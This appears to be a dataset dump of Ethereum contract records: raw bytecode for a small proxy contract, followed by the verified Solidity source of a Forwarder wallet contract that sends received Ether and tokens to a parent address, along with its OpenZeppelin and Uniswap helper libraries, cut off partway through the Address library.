608060405234801561001057600080fd5b506040516103ea3803806103ea8339818101604052810190610032919061011c565b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555033600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050610149565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006100e9826100be565b9050919050565b6100f9816100de565b811461010457600080fd5b50565b600081519050610116816100f0565b92915050565b600060208284031215610132576101316100b9565b5b600061014084828501610107565b91505092915050565b610292806101586000396000f3fe608060405234801561001057600080fd5b506004361061003a5760003560e01c80638da5cb5b14610122578063d4b83992146101405761003b565b5b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461009557600080fd5b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000366040516100e09291906101e7565b600060405180830381855af49150503d806000811461011b576040519150601f19603f3d011682016040523d82523d6000602084013e610120565b606091505b005b61012a61015e565b6040516101379190610241565b60405180910390f35b610148610184565b6040516101559190610241565b60405180910390f35b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600081905092915050565b82818337600083830152505050565b60006101ce83856101a8565b93506101db8385846101b3565b82840190509392505050565b60006101f48284866101c2565b91508190509392505050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061022b82610200565b9050919050565b61023b81610220565b82525050565b60006020820190506102566000830184610232565b9291505056fea26469706673582212208a6f9a6c60f4473a145d67c587ef91a3c6e830aa059fb52940dcfe207ab7f87c64736f6c634300081400330000000000000000000000001b3c23a3a6169ad02b9ef667b30180f25878fa17 | 608060405234801561001057600080fd5b506004361061003a5760003560e01c80638da5cb5b14610122578063d4b83992146101405761003b565b5b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461009557600080fd5b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000366040516100e09291906101e7565b600060405180830381855af49150503d806000811461011b576040519150601f19603f3d011682016040523d82523d6000602084013e610120565b606091505b005b61012a61015e565b6040516101379190610241565b60405180910390f35b610148610184565b6040516101559190610241565b60405180910390f35b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600081905092915050565b82818337600083830152505050565b60006101ce83856101a8565b93506101db8385846101b3565b82840190509392505050565b60006101f48284866101c2565b91508190509392505050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061022b82610200565b9050919050565b61023b81610220565b82525050565b60006020820190506102566000830184610232565b9291505056fea26469706673582212208a6f9a6c60f4473a145d67c587ef91a3c6e830aa059fb52940dcfe207ab7f87c64736f6c63430008140033 | |
1 | 19,493,877 | 3abacc97a92eb734c3e3a358cea07f24eb1384bc9c6779a3c299ebed7ae65077 | 920afa54db1a792fd370066edee3e3b6ae4f40a3726f27caecc26ddd0a407ce3 | 41ed843a086f44b8cb23decc8170c132bc257874 | 29ef46035e9fa3d570c598d3266424ca11413b0c | 51d1a8d528f8a0513aa29ec712739afcff6a01df | 3d602d80600a3d3981f3363d3d373d3d3d363d735397d0869aba0d55e96d5716d383f6e1d8695ed75af43d82803e903d91602b57fd5bf3 | 363d3d373d3d3d363d735397d0869aba0d55e96d5716d383f6e1d8695ed75af43d82803e903d91602b57fd5bf3 | {{
"language": "Solidity",
"sources": {
"contracts/Forwarder.sol": {
"content": "// SPDX-License-Identifier: Apache-2.0\npragma solidity 0.8.10;\nimport '@openzeppelin/contracts/token/ERC1155/IERC1155.sol';\nimport '@openzeppelin/contracts/token/ERC721/IERC721.sol';\nimport '@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol';\nimport '@openzeppelin/contracts/token/ERC1155/utils/ERC1155Receiver.sol';\nimport './ERC20Interface.sol';\nimport './TransferHelper.sol';\nimport './IForwarder.sol';\n\n/**\n * Contract that will forward any incoming Ether to the creator of the contract\n *\n */\ncontract Forwarder is IERC721Receiver, ERC1155Receiver, IForwarder {\n // Address to which any funds sent to this contract will be forwarded\n address public parentAddress;\n bool public autoFlush721 = true;\n bool public autoFlush1155 = true;\n\n event ForwarderDeposited(address from, uint256 value, bytes data);\n\n /**\n * Initialize the contract, and sets the destination address to that of the creator\n */\n function init(\n address _parentAddress,\n bool _autoFlush721,\n bool _autoFlush1155\n ) external onlyUninitialized {\n parentAddress = _parentAddress;\n uint256 value = address(this).balance;\n\n // set whether we want to automatically flush erc721/erc1155 tokens or not\n autoFlush721 = _autoFlush721;\n autoFlush1155 = _autoFlush1155;\n\n if (value == 0) {\n return;\n }\n\n (bool success, ) = parentAddress.call{ value: value }('');\n require(success, 'Flush failed');\n\n // NOTE: since we are forwarding on initialization,\n // we don't have the context of the original sender.\n // We still emit an event about the forwarding but set\n // the sender to the forwarder itself\n emit ForwarderDeposited(address(this), value, msg.data);\n }\n\n /**\n * Modifier that will execute internal code block only if the sender is the parent address\n */\n modifier onlyParent {\n require(msg.sender == parentAddress, 'Only Parent');\n _;\n }\n\n /**\n * Modifier that will execute internal code block only if the contract has not been initialized yet\n */\n modifier onlyUninitialized {\n require(parentAddress == address(0x0), 'Already initialized');\n _;\n }\n\n /**\n * Default function; Gets called when data is sent but does not match any other function\n */\n fallback() external payable {\n flush();\n }\n\n /**\n * Default function; Gets called when Ether is deposited with no data, and forwards it to the parent address\n */\n receive() external payable {\n flush();\n }\n\n /**\n * @inheritdoc IForwarder\n */\n function setAutoFlush721(bool autoFlush)\n external\n virtual\n override\n onlyParent\n {\n autoFlush721 = autoFlush;\n }\n\n /**\n * @inheritdoc IForwarder\n */\n function setAutoFlush1155(bool autoFlush)\n external\n virtual\n override\n onlyParent\n {\n autoFlush1155 = autoFlush;\n }\n\n /**\n * ERC721 standard callback function for when a ERC721 is transfered. The forwarder will send the nft\n * to the base wallet once the nft contract invokes this method after transfering the nft.\n *\n * @param _operator The address which called `safeTransferFrom` function\n * @param _from The address of the sender\n * @param _tokenId The token id of the nft\n * @param data Additional data with no specified format, sent in call to `_to`\n */\n function onERC721Received(\n address _operator,\n address _from,\n uint256 _tokenId,\n bytes memory data\n ) external virtual override returns (bytes4) {\n if (autoFlush721) {\n IERC721 instance = IERC721(msg.sender);\n require(\n instance.supportsInterface(type(IERC721).interfaceId),\n 'The caller does not support the ERC721 interface'\n );\n // this won't work for ERC721 re-entrancy\n instance.safeTransferFrom(address(this), parentAddress, _tokenId, data);\n }\n\n return this.onERC721Received.selector;\n }\n\n function callFromParent(\n address target,\n uint256 value,\n bytes calldata data\n ) external onlyParent returns (bytes memory) {\n (bool success, bytes memory returnedData) = target.call{ value: value }(\n data\n );\n require(success, 'Parent call execution failed');\n\n return returnedData;\n }\n\n /**\n * @inheritdoc IERC1155Receiver\n */\n function onERC1155Received(\n address _operator,\n address _from,\n uint256 id,\n uint256 value,\n bytes calldata data\n ) external virtual override returns (bytes4) {\n IERC1155 instance = IERC1155(msg.sender);\n require(\n instance.supportsInterface(type(IERC1155).interfaceId),\n 'The caller does not support the IERC1155 interface'\n );\n\n if (autoFlush1155) {\n instance.safeTransferFrom(address(this), parentAddress, id, value, data);\n }\n\n return this.onERC1155Received.selector;\n }\n\n /**\n * @inheritdoc IERC1155Receiver\n */\n function onERC1155BatchReceived(\n address _operator,\n address _from,\n uint256[] calldata ids,\n uint256[] calldata values,\n bytes calldata data\n ) external virtual override returns (bytes4) {\n IERC1155 instance = IERC1155(msg.sender);\n require(\n instance.supportsInterface(type(IERC1155).interfaceId),\n 'The caller does not support the IERC1155 interface'\n );\n\n if (autoFlush1155) {\n instance.safeBatchTransferFrom(\n address(this),\n parentAddress,\n ids,\n values,\n data\n );\n }\n\n return this.onERC1155BatchReceived.selector;\n }\n\n /**\n * @inheritdoc IForwarder\n */\n function flushTokens(address tokenContractAddress)\n external\n virtual\n override\n onlyParent\n {\n ERC20Interface instance = ERC20Interface(tokenContractAddress);\n address forwarderAddress = address(this);\n uint256 forwarderBalance = instance.balanceOf(forwarderAddress);\n if (forwarderBalance == 0) {\n return;\n }\n\n TransferHelper.safeTransfer(\n tokenContractAddress,\n parentAddress,\n forwarderBalance\n );\n }\n\n /**\n * @inheritdoc IForwarder\n */\n function flushERC721Token(address tokenContractAddress, uint256 tokenId)\n external\n virtual\n override\n onlyParent\n {\n IERC721 instance = IERC721(tokenContractAddress);\n require(\n instance.supportsInterface(type(IERC721).interfaceId),\n 'The tokenContractAddress does not support the ERC721 interface'\n );\n\n address ownerAddress = instance.ownerOf(tokenId);\n instance.transferFrom(ownerAddress, parentAddress, tokenId);\n }\n\n /**\n * @inheritdoc IForwarder\n */\n function flushERC1155Tokens(address tokenContractAddress, uint256 tokenId)\n external\n virtual\n override\n onlyParent\n {\n IERC1155 instance = IERC1155(tokenContractAddress);\n require(\n instance.supportsInterface(type(IERC1155).interfaceId),\n 'The caller does not support the IERC1155 interface'\n );\n\n address forwarderAddress = address(this);\n uint256 forwarderBalance = instance.balanceOf(forwarderAddress, tokenId);\n\n instance.safeTransferFrom(\n forwarderAddress,\n parentAddress,\n tokenId,\n forwarderBalance,\n ''\n );\n }\n\n /**\n * @inheritdoc IForwarder\n */\n function batchFlushERC1155Tokens(\n address tokenContractAddress,\n uint256[] calldata tokenIds\n ) external virtual override onlyParent {\n IERC1155 instance = IERC1155(tokenContractAddress);\n require(\n instance.supportsInterface(type(IERC1155).interfaceId),\n 'The caller does not support the IERC1155 interface'\n );\n\n address forwarderAddress = address(this);\n uint256[] memory amounts = new uint256[](tokenIds.length);\n for (uint256 i = 0; i < tokenIds.length; i++) {\n amounts[i] = instance.balanceOf(forwarderAddress, tokenIds[i]);\n }\n\n instance.safeBatchTransferFrom(\n forwarderAddress,\n parentAddress,\n tokenIds,\n amounts,\n ''\n );\n }\n\n /**\n * Flush the entire balance of the contract to the parent address.\n */\n function flush() public {\n uint256 value = address(this).balance;\n\n if (value == 0) {\n return;\n }\n\n (bool success, ) = parentAddress.call{ value: value }('');\n require(success, 'Flush failed');\n emit ForwarderDeposited(msg.sender, value, msg.data);\n }\n\n /**\n * @inheritdoc IERC165\n */\n function supportsInterface(bytes4 interfaceId)\n public\n virtual\n override(ERC1155Receiver, IERC165)\n view\n returns (bool)\n {\n return\n interfaceId == type(IForwarder).interfaceId ||\n super.supportsInterface(interfaceId);\n }\n}\n"
},
"@openzeppelin/contracts/token/ERC1155/IERC1155.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC1155/IERC1155.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../../utils/introspection/IERC165.sol\";\n\n/**\n * @dev Required interface of an ERC1155 compliant contract, as defined in the\n * https://eips.ethereum.org/EIPS/eip-1155[EIP].\n *\n * _Available since v3.1._\n */\ninterface IERC1155 is IERC165 {\n /**\n * @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`.\n */\n event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value);\n\n /**\n * @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all\n * transfers.\n */\n event TransferBatch(\n address indexed operator,\n address indexed from,\n address indexed to,\n uint256[] ids,\n uint256[] values\n );\n\n /**\n * @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to\n * `approved`.\n */\n event ApprovalForAll(address indexed account, address indexed operator, bool approved);\n\n /**\n * @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI.\n *\n * If an {URI} event was emitted for `id`, the standard\n * https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value\n * returned by {IERC1155MetadataURI-uri}.\n */\n event URI(string value, uint256 indexed id);\n\n /**\n * @dev Returns the amount of tokens of token type `id` owned by `account`.\n *\n * Requirements:\n *\n * - `account` cannot be the zero address.\n */\n function balanceOf(address account, uint256 id) external view returns (uint256);\n\n /**\n * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}.\n *\n * Requirements:\n *\n * - `accounts` and `ids` must have the same length.\n */\n function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids)\n external\n view\n returns (uint256[] memory);\n\n /**\n * @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`,\n *\n * Emits an {ApprovalForAll} event.\n *\n * Requirements:\n *\n * - `operator` cannot be the caller.\n */\n function setApprovalForAll(address operator, bool approved) external;\n\n /**\n * @dev Returns true if `operator` is approved to transfer ``account``'s tokens.\n *\n * See {setApprovalForAll}.\n */\n function isApprovedForAll(address account, address operator) external view returns (bool);\n\n /**\n * @dev Transfers `amount` tokens of token type `id` from `from` to `to`.\n *\n * Emits a {TransferSingle} event.\n *\n * Requirements:\n *\n * - `to` cannot be the zero address.\n * - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}.\n * - `from` must have a balance of tokens of type `id` of at least `amount`.\n * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the\n * acceptance magic value.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 id,\n uint256 amount,\n bytes calldata data\n ) external;\n\n /**\n * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}.\n *\n * Emits a {TransferBatch} event.\n *\n * Requirements:\n *\n * - `ids` and `amounts` must have the same length.\n * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the\n * acceptance magic value.\n */\n function safeBatchTransferFrom(\n address from,\n address to,\n uint256[] calldata ids,\n uint256[] calldata amounts,\n bytes calldata data\n ) external;\n}\n"
},
"@openzeppelin/contracts/token/ERC721/IERC721.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../../utils/introspection/IERC165.sol\";\n\n/**\n * @dev Required interface of an ERC721 compliant contract.\n */\ninterface IERC721 is IERC165 {\n /**\n * @dev Emitted when `tokenId` token is transferred from `from` to `to`.\n */\n event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);\n\n /**\n * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.\n */\n event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);\n\n /**\n * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.\n */\n event ApprovalForAll(address indexed owner, address indexed operator, bool approved);\n\n /**\n * @dev Returns the number of tokens in ``owner``'s account.\n */\n function balanceOf(address owner) external view returns (uint256 balance);\n\n /**\n * @dev Returns the owner of the `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function ownerOf(uint256 tokenId) external view returns (address owner);\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients\n * are aware of the ERC721 protocol to prevent tokens from being forever locked.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) external;\n\n /**\n * @dev Transfers `tokenId` token from `from` to `to`.\n *\n * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) external;\n\n /**\n * @dev Gives permission to `to` to transfer `tokenId` token to another account.\n * The approval is cleared when the token is transferred.\n *\n * Only a single account can be approved at a time, so approving the zero address clears previous approvals.\n *\n * Requirements:\n *\n * - The caller must own the token or be an approved operator.\n * - `tokenId` must exist.\n *\n * Emits an {Approval} event.\n */\n function approve(address to, uint256 tokenId) external;\n\n /**\n * @dev Returns the account approved for `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function getApproved(uint256 tokenId) external view returns (address operator);\n\n /**\n * @dev Approve or remove `operator` as an operator for the caller.\n * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.\n *\n * Requirements:\n *\n * - The `operator` cannot be the caller.\n *\n * Emits an {ApprovalForAll} event.\n */\n function setApprovalForAll(address operator, bool _approved) external;\n\n /**\n * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.\n *\n * See {setApprovalForAll}\n */\n function isApprovedForAll(address owner, address operator) external view returns (bool);\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes calldata data\n ) external;\n}\n"
},
"@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @title ERC721 token receiver interface\n * @dev Interface for any contract that wants to support safeTransfers\n * from ERC721 asset contracts.\n */\ninterface IERC721Receiver {\n /**\n * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}\n * by `operator` from `from`, this function is called.\n *\n * It must return its Solidity selector to confirm the token transfer.\n * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.\n *\n * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.\n */\n function onERC721Received(\n address operator,\n address from,\n uint256 tokenId,\n bytes calldata data\n ) external returns (bytes4);\n}\n"
},
"@openzeppelin/contracts/token/ERC1155/utils/ERC1155Receiver.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC1155/utils/ERC1155Receiver.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IERC1155Receiver.sol\";\nimport \"../../../utils/introspection/ERC165.sol\";\n\n/**\n * @dev _Available since v3.1._\n */\nabstract contract ERC1155Receiver is ERC165, IERC1155Receiver {\n /**\n * @dev See {IERC165-supportsInterface}.\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {\n return interfaceId == type(IERC1155Receiver).interfaceId || super.supportsInterface(interfaceId);\n }\n}\n"
},
"contracts/ERC20Interface.sol": {
"content": "// SPDX-License-Identifier: UNLICENSED\npragma solidity 0.8.10;\n\n/**\n * Contract that exposes the needed erc20 token functions\n */\n\nabstract contract ERC20Interface {\n // Send _value amount of tokens to address _to\n function transfer(address _to, uint256 _value)\n public\n virtual\n returns (bool success);\n\n // Get the account balance of another account with address _owner\n function balanceOf(address _owner)\n public\n virtual\n view\n returns (uint256 balance);\n}\n"
},
"contracts/TransferHelper.sol": {
"content": "// SPDX-License-Identifier: GPL-3.0-or-later\n// source: https://github.com/Uniswap/solidity-lib/blob/master/contracts/libraries/TransferHelper.sol\npragma solidity 0.8.10;\n\nimport '@openzeppelin/contracts/utils/Address.sol';\n\n// helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false\nlibrary TransferHelper {\n function safeTransfer(\n address token,\n address to,\n uint256 value\n ) internal {\n // bytes4(keccak256(bytes('transfer(address,uint256)')));\n (bool success, bytes memory data) = token.call(\n abi.encodeWithSelector(0xa9059cbb, to, value)\n );\n require(\n success && (data.length == 0 || abi.decode(data, (bool))),\n 'TransferHelper::safeTransfer: transfer failed'\n );\n }\n\n function safeTransferFrom(\n address token,\n address from,\n address to,\n uint256 value\n ) internal {\n // bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));\n (bool success, bytes memory returndata) = token.call(\n abi.encodeWithSelector(0x23b872dd, from, to, value)\n );\n Address.verifyCallResult(\n success,\n returndata,\n 'TransferHelper::transferFrom: transferFrom failed'\n );\n }\n}\n"
},
"contracts/IForwarder.sol": {
"content": "pragma solidity ^0.8.0;\n\nimport '@openzeppelin/contracts/utils/introspection/IERC165.sol';\n\ninterface IForwarder is IERC165 {\n /**\n * Sets the autoflush721 parameter.\n *\n * @param autoFlush whether to autoflush erc721 tokens\n */\n function setAutoFlush721(bool autoFlush) external;\n\n /**\n * Sets the autoflush1155 parameter.\n *\n * @param autoFlush whether to autoflush erc1155 tokens\n */\n function setAutoFlush1155(bool autoFlush) external;\n\n /**\n * Execute a token transfer of the full balance from the forwarder token to the parent address\n *\n * @param tokenContractAddress the address of the erc20 token contract\n */\n function flushTokens(address tokenContractAddress) external;\n\n /**\n * Execute a nft transfer from the forwarder to the parent address\n *\n * @param tokenContractAddress the address of the ERC721 NFT contract\n * @param tokenId The token id of the nft\n */\n function flushERC721Token(address tokenContractAddress, uint256 tokenId)\n external;\n\n /**\n * Execute a nft transfer from the forwarder to the parent address.\n *\n * @param tokenContractAddress the address of the ERC1155 NFT contract\n * @param tokenId The token id of the nft\n */\n function flushERC1155Tokens(address tokenContractAddress, uint256 tokenId)\n external;\n\n /**\n * Execute a batch nft transfer from the forwarder to the parent address.\n *\n * @param tokenContractAddress the address of the ERC1155 NFT contract\n * @param tokenIds The token ids of the nfts\n */\n function batchFlushERC1155Tokens(\n address tokenContractAddress,\n uint256[] calldata tokenIds\n ) external;\n}\n"
},
"@openzeppelin/contracts/utils/introspection/IERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC165 standard, as defined in the\n * https://eips.ethereum.org/EIPS/eip-165[EIP].\n *\n * Implementers can declare support of contract interfaces, which can then be\n * queried by others ({ERC165Checker}).\n *\n * For an implementation, see {ERC165}.\n */\ninterface IERC165 {\n /**\n * @dev Returns true if this contract implements the interface defined by\n * `interfaceId`. See the corresponding\n * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]\n * to learn more about how these ids are created.\n *\n * This function call must use less than 30 000 gas.\n */\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\n}\n"
},
"@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC1155/IERC1155Receiver.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../../utils/introspection/IERC165.sol\";\n\n/**\n * @dev _Available since v3.1._\n */\ninterface IERC1155Receiver is IERC165 {\n /**\n @dev Handles the receipt of a single ERC1155 token type. This function is\n called at the end of a `safeTransferFrom` after the balance has been updated.\n To accept the transfer, this must return\n `bytes4(keccak256(\"onERC1155Received(address,address,uint256,uint256,bytes)\"))`\n (i.e. 0xf23a6e61, or its own function selector).\n @param operator The address which initiated the transfer (i.e. msg.sender)\n @param from The address which previously owned the token\n @param id The ID of the token being transferred\n @param value The amount of tokens being transferred\n @param data Additional data with no specified format\n @return `bytes4(keccak256(\"onERC1155Received(address,address,uint256,uint256,bytes)\"))` if transfer is allowed\n */\n function onERC1155Received(\n address operator,\n address from,\n uint256 id,\n uint256 value,\n bytes calldata data\n ) external returns (bytes4);\n\n /**\n @dev Handles the receipt of a multiple ERC1155 token types. This function\n is called at the end of a `safeBatchTransferFrom` after the balances have\n been updated. To accept the transfer(s), this must return\n `bytes4(keccak256(\"onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)\"))`\n (i.e. 0xbc197c81, or its own function selector).\n @param operator The address which initiated the batch transfer (i.e. msg.sender)\n @param from The address which previously owned the token\n @param ids An array containing ids of each token being transferred (order and length must match values array)\n @param values An array containing amounts of each token being transferred (order and length must match ids array)\n @param data Additional data with no specified format\n @return `bytes4(keccak256(\"onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)\"))` if transfer is allowed\n */\n function onERC1155BatchReceived(\n address operator,\n address from,\n uint256[] calldata ids,\n uint256[] calldata values,\n bytes calldata data\n ) external returns (bytes4);\n}\n"
},
"@openzeppelin/contracts/utils/introspection/ERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC165.sol\";\n\n/**\n * @dev Implementation of the {IERC165} interface.\n *\n * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check\n * for the additional interface id that will be supported. For example:\n *\n * ```solidity\n * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);\n * }\n * ```\n *\n * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.\n */\nabstract contract ERC165 is IERC165 {\n /**\n * @dev See {IERC165-supportsInterface}.\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n return interfaceId == type(IERC165).interfaceId;\n }\n}\n"
},
"@openzeppelin/contracts/utils/Address.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/Address.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Collection of functions related to the address type\n */\nlibrary Address {\n /**\n * @dev Returns true if `account` is a contract.\n *\n * [IMPORTANT]\n * ====\n * It is unsafe to assume that an address for which this function returns\n * false is an externally-owned account (EOA) and not a contract.\n *\n * Among others, `isContract` will return false for the following\n * types of addresses:\n *\n * - an externally-owned account\n * - a contract in construction\n * - an address where a contract will be created\n * - an address where a contract lived, but was destroyed\n * ====\n */\n function isContract(address account) internal view returns (bool) {\n // This method relies on extcodesize, which returns 0 for contracts in\n // construction, since the code is only stored at the end of the\n // constructor execution.\n\n uint256 size;\n assembly {\n size := extcodesize(account)\n }\n return size > 0;\n }\n\n /**\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n * `recipient`, forwarding all available gas and reverting on errors.\n *\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\n * imposed by `transfer`, making them unable to receive funds via\n * `transfer`. {sendValue} removes this limitation.\n *\n * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n *\n * IMPORTANT: because control is transferred to `recipient`, care must be\n * taken to not create reentrancy vulnerabilities. Consider using\n * {ReentrancyGuard} or the\n * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\n */\n function sendValue(address payable recipient, uint256 amount) internal {\n require(address(this).balance >= amount, \"Address: insufficient balance\");\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n require(success, \"Address: unable to send value, recipient may have reverted\");\n }\n\n /**\n * @dev Performs a Solidity function call using a low level `call`. A\n * plain `call` is an unsafe replacement for a function call: use this\n * function instead.\n *\n * If `target` reverts with a revert reason, it is bubbled up by this\n * function (like regular Solidity function calls).\n *\n * Returns the raw returned data. To convert to the expected return value,\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n *\n * Requirements:\n *\n * - `target` must be a contract.\n * - calling `target` with `data` must not revert.\n *\n * _Available since v3.1._\n */\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionCall(target, data, \"Address: low-level call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\n * `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but also transferring `value` wei to `target`.\n *\n * Requirements:\n *\n * - the calling contract must have an ETH balance of at least `value`.\n * - the called Solidity function must be `payable`.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, value, \"Address: low-level call with value failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\n * with `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(address(this).balance >= value, \"Address: insufficient balance for call\");\n require(isContract(target), \"Address: call to non-contract\");\n\n (bool success, bytes memory returndata) = target.call{value: value}(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\n return functionStaticCall(target, data, \"Address: low-level static call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function 